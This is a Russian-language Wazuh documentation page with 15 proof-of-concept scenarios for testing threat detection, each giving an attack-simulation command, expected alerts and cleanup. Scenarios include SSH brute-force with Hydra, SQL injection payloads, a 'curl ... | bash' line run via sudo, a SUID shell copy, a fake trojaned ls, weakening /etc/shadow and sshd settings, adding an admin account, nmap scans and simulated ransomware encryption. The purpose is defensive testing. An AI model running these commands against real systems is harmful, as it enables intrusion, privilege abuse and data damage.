Wazuh PoC-сценарии - 15 тестов обнаружения угроз

Этот раздел содержит 15 готовых сценариев Proof of Concept для демонстрации возможностей обнаружения угроз Wazuh 4.14. Каждый сценарий включает описание атаки, команду для ее воспроизведения в тестовой среде и ожидаемый алерт с идентификатором правила. Все сценарии следует выполнять исключительно в изолированных тестовых средах.

Сводная таблица сценариев

#СценарийMITRE ATT&CKWazuh Rule IDУровень
1Brute-force SSHT11105710, 571210
2Обнаружение вредоносного ПО (EICAR)T12048710512
3FIM - изменение файлаT1565550, 5547
4Обнаружение уязвимостей-23501-235047-13
5SCA - несоответствие политике-19001-190043-7
6Веб-атака (SQL injection)T119031103, 311066-12
7Обнаружение руткитаT1014510-5167-12
8Обнаружение троянаT10365107
9Docker exec мониторингT1610879245
10Windows аудит (создание пользователя)T1136515710
11Linux аудит (sudo)T1548.0035401-54033-5
12Active Directory logonT107860106, 601223-10
13Подозрительный бинарный файлT1036100300+7-10
14Обнаружение сканирования (Nmap)T104658110
15Поведение ransomwareT1486554, 100400+12-14

Сценарий 1: Brute-force SSH

Моделирование атаки подбора пароля SSH. Wazuh обнаруживает множественные неудачные попытки аутентификации с одного IP-адреса и генерирует алерт о brute-force атаке. Это один из наиболее распространенных векторов начального доступа к серверам.

Предварительные требования

  • Wazuh Agent установлен на целевом Linux-сервере
  • SSH-сервер запущен и доступен
  • Модуль log data collection настроен для /var/log/auth.log (Debian/Ubuntu) или /var/log/secure (RHEL/CentOS)

Команда запуска

# С атакующей машины - 10 неудачных попыток входа
for i in $(seq 1 10); do
  sshpass -p 'wrongpassword' ssh -o StrictHostKeyChecking=no testuser@TARGET_IP 2>/dev/null
done

Альтернативный вариант с использованием Hydra:

hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://TARGET_IP -t 4 -V

Ожидаемые алерты

Rule IDУровеньОписание
57105sshd: Attempt to login using a non-existent user
571210sshd: brute force trying to get access to the system
572010Multiple sshd authentication failures

Проверка

# Через OpenSearch
curl -sk -u admin:${ADMIN_PASS} \
  "https://localhost:9200/wazuh-alerts-*/_search" \
  -H "Content-Type: application/json" \
  -d '{"query":{"bool":{"must":[{"match":{"rule.id":"5712"}},{"range":{"timestamp":{"gte":"now-1h"}}}]}}}'

Сценарий 2: Обнаружение вредоносного ПО (EICAR)

Проверка обнаружения вредоносного ПО с использованием тестового файла EICAR. EICAR - стандартный тестовый файл, распознаваемый всеми антивирусными решениями. Wazuh обнаруживает его через интеграцию с VirusTotal при изменении файловой системы.

Предварительные требования

  • Модуль FIM (syscheck) настроен для мониторинга целевой директории
  • Интеграция с VirusTotal активирована (необязательно, но рекомендуется)
  • ClamAV установлен на агенте (для альтернативного метода обнаружения)

Команда запуска

# Создание тестового файла EICAR
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' \
  > /tmp/eicar-test.txt

# Альтернатива: скачивание EICAR
curl -o /tmp/eicar-test.com https://secure.eicar.org/eicar.com

Ожидаемые алерты

Rule IDУровеньОписание
5547File added to the system (FIM)
8710512VirusTotal: Alert - /tmp/eicar-test.txt - X positives
525027ClamAV: Virus detected (если ClamAV установлен)

Проверка

# Проверка алертов FIM
curl -sk -u admin:${ADMIN_PASS} \
  "https://localhost:9200/wazuh-alerts-*/_search" \
  -H "Content-Type: application/json" \
  -d '{"query":{"bool":{"must":[{"match":{"rule.groups":"syscheck"}},{"match":{"syscheck.path":"/tmp/eicar-test.txt"}}]}}}'

Очистка

rm -f /tmp/eicar-test.txt /tmp/eicar-test.com

Сценарий 3: FIM - мониторинг изменений файлов

Проверка модуля File Integrity Monitoring. FIM отслеживает создание, модификацию и удаление файлов в контролируемых директориях. Алерт содержит информацию о типе изменения, хешах файла и пользователе, выполнившем операцию.

Предварительные требования

Модуль syscheck настроен для мониторинга тестовой директории:

<syscheck>
  <directories check_all="yes" realtime="yes" report_changes="yes">/opt/test-fim</directories>
</syscheck>

Команда запуска

# Создание тестовой директории и файла
mkdir -p /opt/test-fim
echo "original content" > /opt/test-fim/config.txt

# Ожидание сканирования (или мгновенно при realtime="yes")
sleep 10

# Модификация файла
echo "modified content" >> /opt/test-fim/config.txt

# Изменение прав
chmod 777 /opt/test-fim/config.txt

# Удаление файла
rm -f /opt/test-fim/config.txt

Ожидаемые алерты

Rule IDУровеньОписание
5545File added to the system
5507Integrity checksum changed
5537File permissions changed
5537File deleted

Проверка

# Через Wazuh API
TOKEN=$(curl -sk -u wazuh-wui:${WUI_PASS} \
  -X POST "https://localhost:55000/security/user/authenticate?raw=true")
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/syscheck/001?search=/opt/test-fim"

Подробнее о настройке FIM читайте в разделе Мониторинг целостности файлов .

Сценарий 4: Обнаружение уязвимостей

Проверка модуля Vulnerability Detector. Wazuh сканирует установленные пакеты на агенте и сопоставляет их версии с базами уязвимостей (CVE). Модуль автоматически обновляет базы и генерирует алерты при обнаружении уязвимых пакетов.

Предварительные требования

Модуль Vulnerability Detector включен на менеджере:

<vulnerability-detector>
  <enabled>yes</enabled>
  <interval>5m</interval>
  <run_on_start>yes</run_on_start>
  <provider name="canonical">
    <enabled>yes</enabled>
    <os>focal</os>
    <os>jammy</os>
    <update_interval>1h</update_interval>
  </provider>
  <provider name="nvd">
    <enabled>yes</enabled>
    <update_interval>1h</update_interval>
  </provider>
</vulnerability-detector>

Команда запуска

# Установка заведомо уязвимого пакета
# (пример: OpenSSL с известной CVE)
apt-get install openssl=1.1.1f-1ubuntu2 -y 2>/dev/null || true

# Или для CentOS/RHEL
yum downgrade openssl -y 2>/dev/null || true

# Ожидание следующего цикла сканирования
# (по умолчанию: 5 минут)

Ожидаемые алерты

Rule IDУровеньОписание
235017Vulnerability found: Low severity
235029Vulnerability found: Medium severity
2350311Vulnerability found: High severity
2350413Vulnerability found: Critical severity

Проверка

# Через Wazuh API
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/vulnerability/001?limit=5&sort=-severity"

Сценарий 5: SCA - несоответствие конфигурации

Проверка модуля Security Configuration Assessment. SCA сравнивает настройки системы с политиками CIS Benchmark и генерирует алерты при обнаружении несоответствий. Результаты включают рекомендации по исправлению.

Предварительные требования

Модуль SCA активирован на агенте:

<sca>
  <enabled>yes</enabled>
  <scan_on_start>yes</scan_on_start>
  <interval>12h</interval>
</sca>

Команда запуска

# Создание заведомо небезопасной конфигурации SSH
sed -i 's/^#PermitRootLogin.*/PermitRootLogin yes/' /etc/ssh/sshd_config
sed -i 's/^#PasswordAuthentication.*/PasswordAuthentication yes/' /etc/ssh/sshd_config
sed -i 's/^#PermitEmptyPasswords.*/PermitEmptyPasswords yes/' /etc/ssh/sshd_config

# Установка небезопасных прав на /etc/shadow
chmod 644 /etc/shadow

# Принудительный запуск SCA-сканирования
/var/ossec/bin/wazuh-control reload

Ожидаемые алерты

Rule IDУровеньОписание
190013SCA scan started
190027SCA check failed: Ensure SSH root login is disabled
190035SCA check passed
190043SCA scan completed

Проверка

curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/sca/001/checks/cis_ubuntu22-04" \
  | jq '.data.affected_items[] | select(.result == "failed") | {id, title}'

Очистка

# Восстановление безопасных настроек
sed -i 's/^PermitRootLogin yes/#PermitRootLogin prohibit-password/' /etc/ssh/sshd_config
sed -i 's/^PermitEmptyPasswords yes/#PermitEmptyPasswords no/' /etc/ssh/sshd_config
chmod 640 /etc/shadow

Сценарий 6: Веб-атака - SQL Injection

Моделирование SQL-инъекции через веб-приложение. Wazuh анализирует логи веб-сервера и обнаруживает паттерны SQL-инъекций в URL-параметрах и POST-данных, используя встроенные правила для Apache, Nginx и IIS.

Предварительные требования

  • Apache или Nginx установлен на агенте
  • Wazuh настроен для мониторинга логов веб-сервера

Команда запуска

# SQL injection через URL-параметры
curl "http://TARGET_IP/page?id=1'+OR+'1'='1"
curl "http://TARGET_IP/page?id=1;DROP+TABLE+users--"
curl "http://TARGET_IP/page?id=1'+UNION+SELECT+null,username,password+FROM+users--"
curl "http://TARGET_IP/search?q='+OR+1=1+--"
curl "http://TARGET_IP/login?user=admin'--&pass=anything"

# SQL injection через POST (если есть форма)
curl -X POST "http://TARGET_IP/login" \
  -d "username=admin'--&password=anything"

# Множественные попытки для генерации корреляционного алерта
for i in $(seq 1 20); do
  curl -s "http://TARGET_IP/page?id=${i}'+OR+'1'='1" > /dev/null
done

Ожидаемые алерты

Rule IDУровеньОписание
311036SQL injection attempt
3110612Web server 500 error (possible successful injection)
3115110Multiple web server 400 errors from same source
3116110Multiple SQL injection attempts

Сценарий 7: Обнаружение руткита

Проверка модуля Rootcheck. Модуль обнаруживает признаки руткитов: скрытые процессы, подозрительные файлы в системных директориях, модифицированные системные бинарные файлы и аномалии в файловой системе.

Предварительные требования

Модуль rootcheck активирован:

<rootcheck>
  <disabled>no</disabled>
  <check_files>yes</check_files>
  <check_trojans>yes</check_trojans>
  <check_dev>yes</check_dev>
  <check_sys>yes</check_sys>
  <check_pids>yes</check_pids>
  <check_ports>yes</check_ports>
  <frequency>36000</frequency>
</rootcheck>

Команда запуска

# Создание подозрительного файла в /dev (типичное поведение руткита)
touch /dev/.hidden_file

# Создание файла с SUID-битом в нетипичном месте
cp /bin/bash /tmp/.suid_shell
chmod 4755 /tmp/.suid_shell

# Создание скрытого каталога в /dev
mkdir -p /dev/shm/.hidden_dir

# Принудительный запуск rootcheck
/var/ossec/bin/wazuh-control reload

Ожидаемые алерты

Rule IDУровеньОписание
5107Host-based anomaly detection event
5127Hidden file or directory found in /dev
5138Hidden file found in /dev/shm
51612SUID/SGID binary found in unusual location

Очистка

rm -f /dev/.hidden_file /tmp/.suid_shell
rm -rf /dev/shm/.hidden_dir

Сценарий 8: Обнаружение трояна

Rootcheck проверяет системные бинарные файлы на наличие подозрительных строк, характерных для троянских программ. Модуль сравнивает системные утилиты с базой известных сигнатур троянов.

Предварительные требования

  • Rootcheck активирован с <check_trojans>yes</check_trojans>
  • База данных троянов обновлена (/var/ossec/etc/shared/rootkit_trojans.txt)

Команда запуска

# Создание поддельного системного бинарного файла
# (имитация трояна в ls)
cp /bin/ls /tmp/ls_backup
cat > /tmp/trojan_test.c << 'CEOF'
#include <stdlib.h>
int main() {
    system("/bin/ls");
    return 0;
}
CEOF
gcc -o /usr/local/bin/ls /tmp/trojan_test.c 2>/dev/null

# Создание файла с подозрительным именем
touch /usr/bin/..LsA

# Принудительный запуск rootcheck
/var/ossec/bin/wazuh-control reload

Ожидаемые алерты

Rule IDУровеньОписание
5107Trojaned version of file detected
5117Anomaly detected in system binary

Очистка

rm -f /usr/local/bin/ls /tmp/trojan_test.c /usr/bin/..LsA
cp /tmp/ls_backup /bin/ls 2>/dev/null
rm -f /tmp/ls_backup

Сценарий 9: Docker exec мониторинг

Wazuh отслеживает операции с контейнерами Docker, включая запуск команд через docker exec, создание и удаление контейнеров. Мониторинг осуществляется через анализ логов Docker daemon.

Предварительные требования

  • Docker установлен на агенте
  • Wazuh настроен для мониторинга Docker:
<localfile>
  <log_format>json</log_format>
  <location>/var/lib/docker/containers/*/*.log</location>
</localfile>

<wodle name="docker-listener">
  <disabled>no</disabled>
  <interval>10s</interval>
  <attempts>5</attempts>
  <run_on_start>yes</run_on_start>
</wodle>

Команда запуска

# Запуск тестового контейнера
docker run -d --name wazuh-test-container alpine sleep 3600

# Выполнение команд внутри контейнера
docker exec wazuh-test-container id
docker exec wazuh-test-container cat /etc/passwd
docker exec -it wazuh-test-container /bin/sh -c "whoami && hostname"

# Подозрительные действия в контейнере
docker exec wazuh-test-container apk add nmap 2>/dev/null
docker exec wazuh-test-container wget http://example.com/suspicious 2>/dev/null

Ожидаемые алерты

Rule IDУровеньОписание
879245Docker: Container exec started
879013Docker: Container created
879033Docker: Container started
879285Docker: Image pulled

Очистка

docker stop wazuh-test-container
docker rm wazuh-test-container

Подробнее о мониторинге контейнеров читайте в разделе Container Security .

Сценарий 10: Windows аудит - создание пользователя

Wazuh анализирует журнал событий Windows Security и обнаруживает создание новых учетных записей. Это критический индикатор компрометации, особенно при создании пользователей вне штатных процессов управления доступом.

Предварительные требования

  • Wazuh Agent установлен на Windows Server
  • Аудит управления учетными записями включен в групповой политике

Команда запуска

# PowerShell: создание локального пользователя
New-LocalUser -Name "testuser_poc" -Password (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force) -FullName "PoC Test User" -Description "Created for Wazuh PoC"

# Добавление в группу администраторов
Add-LocalGroupMember -Group "Administrators" -Member "testuser_poc"

# cmd: альтернативный метод
net user testuser_poc P@ssw0rd123! /add
net localgroup Administrators testuser_poc /add

Ожидаемые алерты

Rule IDУровеньОписание
515710A user account was created (Event ID 4720)
515810A user account was enabled (Event ID 4722)
515510A member was added to a security-enabled global group (Event ID 4728)

Очистка

Remove-LocalUser -Name "testuser_poc"

Сценарий 11: Linux аудит - sudo

Wazuh мониторит использование команды sudo, фиксируя все случаи повышения привилегий. Алерты генерируются при успешном и неуспешном использовании sudo, а также при попытках выполнения запрещенных команд.

Предварительные требования

  • Wazuh Agent мониторит /var/log/auth.log или /var/log/secure

Команда запуска

# Успешное выполнение sudo
sudo ls /root

# Неуспешная попытка sudo (от непривилегированного пользователя)
su - testuser -c "sudo cat /etc/shadow" 2>/dev/null

# Множественные неуспешные попытки
for i in $(seq 1 5); do
  echo "wrongpassword" | sudo -S cat /etc/shadow 2>/dev/null
done

# Sudo с подозрительной командой
sudo bash -c "curl http://example.com/payload | bash" 2>/dev/null

Ожидаемые алерты

Rule IDУровеньОписание
54013First time user executed sudo
54025Successful sudo
54035User NOT in sudoers file
54045Incorrect password in sudo

Сценарий 12: Active Directory logon мониторинг

Wazuh анализирует события аутентификации Windows, включая интерактивные и сетевые входы в систему, блокировки учетных записей и использование привилегированных учетных записей.

Предварительные требования

  • Wazuh Agent установлен на контроллере домена или рабочей станции Windows
  • Аудит входа в систему включен в групповой политике
  • Политика блокировки учетных записей настроена

Команда запуска

# Множественные неудачные попытки входа (генерация блокировки)
$password = ConvertTo-SecureString "WrongPassword!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("DOMAIN\testuser", $password)

for ($i = 1; $i -le 10; $i++) {
    try {
        Start-Process notepad.exe -Credential $cred -ErrorAction Stop
    } catch {
        Write-Host "Attempt $i failed"
    }
}

# Вход с привилегированной учетной записью
runas /user:DOMAIN\Administrator "cmd.exe /c whoami"

Ожидаемые алерты

Rule IDУровеньОписание
601065Logon failure (Event ID 4625)
6012210Account lockout (Event ID 4740)
601043Successful logon (Event ID 4624)
601308Privileged logon (Event ID 4672)

Сценарий 13: Обнаружение подозрительных бинарных файлов

Wazuh обнаруживает появление исполняемых файлов в нетипичных директориях. Комбинация FIM и пользовательских правил позволяет отслеживать создание бинарных файлов в /tmp, /var/tmp, домашних каталогах пользователей и других подозрительных местах.

Предварительные требования

FIM настроен для мониторинга нетипичных директорий:

<syscheck>
  <directories check_all="yes" realtime="yes">/tmp</directories>
  <directories check_all="yes" realtime="yes">/var/tmp</directories>
  <directories check_all="yes" realtime="yes">/dev/shm</directories>
</syscheck>

Пользовательское правило:

<rule id="100300" level="10">
  <if_sid>554</if_sid>
  <field name="syscheck.path">/tmp/|/var/tmp/|/dev/shm/</field>
  <match>is_executable</match>
  <description>Executable binary created in temporary directory: $(syscheck.path)</description>
  <mitre>
    <id>T1036</id>
  </mitre>
  <group>syscheck,suspicious_binary,</group>
</rule>

Команда запуска

# Компиляция бинарного файла в /tmp
cat > /tmp/test_binary.c << 'CEOF'
#include <stdio.h>
int main() { printf("test\n"); return 0; }
CEOF
gcc -o /tmp/test_binary /tmp/test_binary.c
chmod +x /tmp/test_binary

# Копирование системного бинарника в /var/tmp
cp /usr/bin/python3 /var/tmp/svchost

# Создание скрипта в /dev/shm
echo '#!/bin/bash' > /dev/shm/payload.sh
echo 'id > /tmp/output' >> /dev/shm/payload.sh
chmod +x /dev/shm/payload.sh

Ожидаемые алерты

Rule IDУровеньОписание
5545File added to the system
10030010Executable binary created in temporary directory (пользовательское правило)

Очистка

rm -f /tmp/test_binary /tmp/test_binary.c /var/tmp/svchost /dev/shm/payload.sh

Сценарий 14: Обнаружение сетевого сканирования (Nmap)

Wazuh обнаруживает сетевое сканирование через анализ логов файрвола и IDS. При обнаружении множественных подключений к различным портам с одного IP-адреса генерируется алерт о возможном сканировании.

Предварительные требования

  • На целевом хосте включено логирование файрвола (iptables, Windows Firewall)
  • Wazuh Agent мониторит логи файрвола

Рекомендуемая настройка iptables для логирования:

# Логирование всех новых входящих соединений
iptables -A INPUT -m state --state NEW -j LOG --log-prefix "iptables: "

Команда запуска

# С атакующей машины: полное сканирование портов
nmap -sS -p 1-1000 TARGET_IP

# Сканирование с определением сервисов
nmap -sV -p 22,80,443,3306,5432 TARGET_IP

# Агрессивное сканирование (генерирует больше алертов)
nmap -A -T4 TARGET_IP

# UDP-сканирование
nmap -sU --top-ports 100 TARGET_IP

Ожидаемые алерты

Rule IDУровеньОписание
58110Multiple firewall drop events from same source
41018Firewall drop event
3115110Multiple connection attempts from same source

Сценарий 15: Обнаружение поведения ransomware

Wazuh обнаруживает типичное поведение ransomware: массовое переименование файлов с добавлением расширения, быстрое изменение множества файлов, удаление теневых копий Windows. Для обнаружения используется комбинация FIM и пользовательских правил.

Предварительные требования

FIM настроен с report_changes и realtime:

<syscheck>
  <directories check_all="yes" realtime="yes" report_changes="yes">/opt/important-data</directories>
</syscheck>

Пользовательские правила для обнаружения ransomware:

<rule id="100400" level="12" frequency="20" timeframe="60">
  <if_matched_sid>550</if_matched_sid>
  <description>Possible ransomware activity: $(syscheck.diff) files modified rapidly</description>
  <mitre>
    <id>T1486</id>
  </mitre>
  <group>syscheck,ransomware,</group>
</rule>

<rule id="100401" level="14">
  <if_sid>554</if_sid>
  <field name="syscheck.path">\.encrypted$|\.locked$|\.crypto$|\.crypt$</field>
  <description>Possible ransomware: file with encryption extension created: $(syscheck.path)</description>
  <mitre>
    <id>T1486</id>
  </mitre>
  <group>syscheck,ransomware,critical,</group>
</rule>

Команда запуска

# Подготовка тестовых данных
mkdir -p /opt/important-data
for i in $(seq 1 30); do
  echo "Important document content ${i}" > "/opt/important-data/document_${i}.txt"
done

# Ожидание первичного сканирования FIM
sleep 30

# Имитация поведения ransomware: массовое переименование с добавлением расширения
for f in /opt/important-data/*.txt; do
  cp "${f}" "${f}.encrypted"
  echo "ENCRYPTED" > "${f}"
done

# Имитация ransom note
echo "Your files have been encrypted. Send Bitcoin to..." > /opt/important-data/README_DECRYPT.txt

Ожидаемые алерты

Rule IDУровеньОписание
5507Integrity checksum changed (множественные)
5545File added to the system (.encrypted)
10040012Possible ransomware activity: rapid file modifications
10040114Possible ransomware: file with encryption extension created

Очистка

rm -rf /opt/important-data

Рекомендации по проведению PoC

Порядок выполнения

  1. Начните с простых сценариев (FIM, SCA) для проверки базовой работоспособности
  2. Переходите к сетевым сценариям (SSH brute-force, Nmap)
  3. Завершайте комплексными сценариями (ransomware, rootkit)

Документирование результатов

Для каждого сценария фиксируйте:

  • Время выполнения команды
  • Время появления алерта в Dashboard (задержка обнаружения)
  • Полный текст алерта (JSON)
  • Скриншот из Wazuh Dashboard

Типичные проблемы

ПроблемаПричинаРешение
Алерт не появляетсяFIM сканирование по расписаниюВключите realtime="yes"
Нет алертов об уязвимостяхБазы CVE не обновленыПроверьте vulnerability-detector в ossec.conf
SCA не запускаетсяМодуль отключенУстановите <enabled>yes</enabled>
Docker алерты отсутствуютDocker listener не настроенДобавьте wodle docker-listener

Подробнее о возможностях обнаружения читайте в разделе Возможности Wazuh . Информация о настройке правил доступна в разделе Разработка .

Last updated on